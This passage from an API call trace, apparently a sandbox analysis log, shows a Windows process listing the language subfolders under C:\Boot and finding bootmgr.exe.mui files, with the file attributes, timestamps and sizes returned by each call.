(HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x38f06d0 [0033.738] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e2ef8 [0033.738] FindNextFileW (in: hFindFile=0x6e2ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.738] FindNextFileW (in: hFindFile=0x6e2ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.738] FindClose (in: hFindFile=0x6e2ef8 | out: hFindFile=0x6e2ef8) returned 1 [0033.738] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x38f06d0 | out: hHeap=0x5f0000) returned 1 [0033.738] FindNextFileW (in: hFindFile=0x6e1eb0, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0033.738] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x38f06d0 [0033.738] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e2ef8 [0033.739] FindNextFileW (in: hFindFile=0x6e2ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.739] FindNextFileW (in: hFindFile=0x6e2ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.739] FindClose (in: hFindFile=0x6e2ef8 | out: hFindFile=0x6e2ef8) returned 1 [0033.739] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x38f06d0 | out: hHeap=0x5f0000) returned 1 [0033.739] FindNextFileW (in: hFindFile=0x6e1eb0, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0033.739] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x38f06d0 [0033.739] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e2ef8 [0033.739] FindNextFileW (in: hFindFile=0x6e2ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.739] FindNextFileW (in: hFindFile=0x6e2ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.739] FindClose (in: hFindFile=0x6e2ef8 | out: hFindFile=0x6e2ef8) returned 1 [0033.739] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x38f06d0 | out: hHeap=0x5f0000) returned 1 [0033.739] FindNextFileW (in: hFindFile=0x6e1eb0, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0033.740] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x38f06d0 [0033.740] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e2ef8 [0033.740] FindNextFileW (in: hFindFile=0x6e2ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.740] FindNextFileW (in: hFindFile=0x6e2ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.740] FindClose (in: hFindFile=0x6e2ef8 | out: hFindFile=0x6e2ef8) returned 1 [0033.740] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x38f06d0 | out: hHeap=0x5f0000) returned 1 [0033.740] FindNextFileW (in: hFindFile=0x6e1eb0, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0033.740] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x38f06d0 [0033.740] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e2ef8 [0033.740] FindNextFileW (in: hFindFile=0x6e2ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.740] FindNextFileW (in: hFindFile=0x6e2ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.740] FindClose (in: hFindFile=0x6e2ef8 | out: hFindFile=0x6e2ef8) returned 1 [0033.741] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x38f06d0 | out: hHeap=0x5f0000) returned 1 [0033.741] FindNextFileW (in: hFindFile=0x6e1eb0, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0033.741] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x38f06d0 [0033.741] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e2ef8 [0033.741] FindNextFileW (in: hFindFile=0x6e2ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.741] FindNextFileW (in: hFindFile=0x6e2ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.741] FindClose (in: hFindFile=0x6e2ef8 | out: hFindFile=0x6e2ef8) returned 1 [0033.741] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x38f06d0 | out: hHeap=0x5f0000) returned 1 [0033.741] FindNextFileW (in: hFindFile=0x6e1eb0, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0033.741] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x38f06d0 [0033.741] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6e2ef8 [0033.741] FindNextFileW (in: hFindFile=0x6e2ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.741] FindNextFileW (in: hFindFile=0x6e2ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.742] FindClose (in: hFindFile=0x6e2ef8 | out: hFindFile=0x6e2ef8) returned 1 [0033.742] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x38f06d0 | out: hHeap=0x5f0000) returned 1 [0033.742] FindNextFileW (in: hFindFile=0x6e1eb0, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0033.742] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x38f06d0 [0033.742] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931748 [0033.747] FindNextFileW (in: hFindFile=0x3931748, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.747] FindNextFileW (in: hFindFile=0x3931748, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.748] FindClose (in: hFindFile=0x3931748 | out: hFindFile=0x3931748) returned 1 [0033.748] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x38f06d0 | out: hHeap=0x5f0000) returned 1 [0033.748] FindNextFileW (in: hFindFile=0x6e1eb0, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0033.748] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x38f06d0 [0033.748] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931748 [0033.748] FindNextFileW (in: hFindFile=0x3931748, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.748] FindNextFileW (in: hFindFile=0x3931748, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.748] FindClose (in: hFindFile=0x3931748 | out: hFindFile=0x3931748) returned 1 [0033.748] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x38f06d0 | out: hHeap=0x5f0000) returned 1 [0033.748] FindNextFileW (in: hFindFile=0x6e1eb0, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0033.748] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x38f06d0 [0033.749] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931748 [0033.749] FindNextFileW (in: hFindFile=0x3931748, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.749] FindNextFileW (in: hFindFile=0x3931748, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.750] FindClose (in: hFindFile=0x3931748 | out: hFindFile=0x3931748) returned 1 [0033.750] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x38f06d0 | out: hHeap=0x5f0000) returned 1 [0033.750] FindNextFileW (in: hFindFile=0x6e1eb0, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0033.750] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x38f06d0 [0033.750] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3931748 [0033.750] FindNextFileW (in: hFindFile=0x3931748, lpFindFileData=0x33cf808 | out: 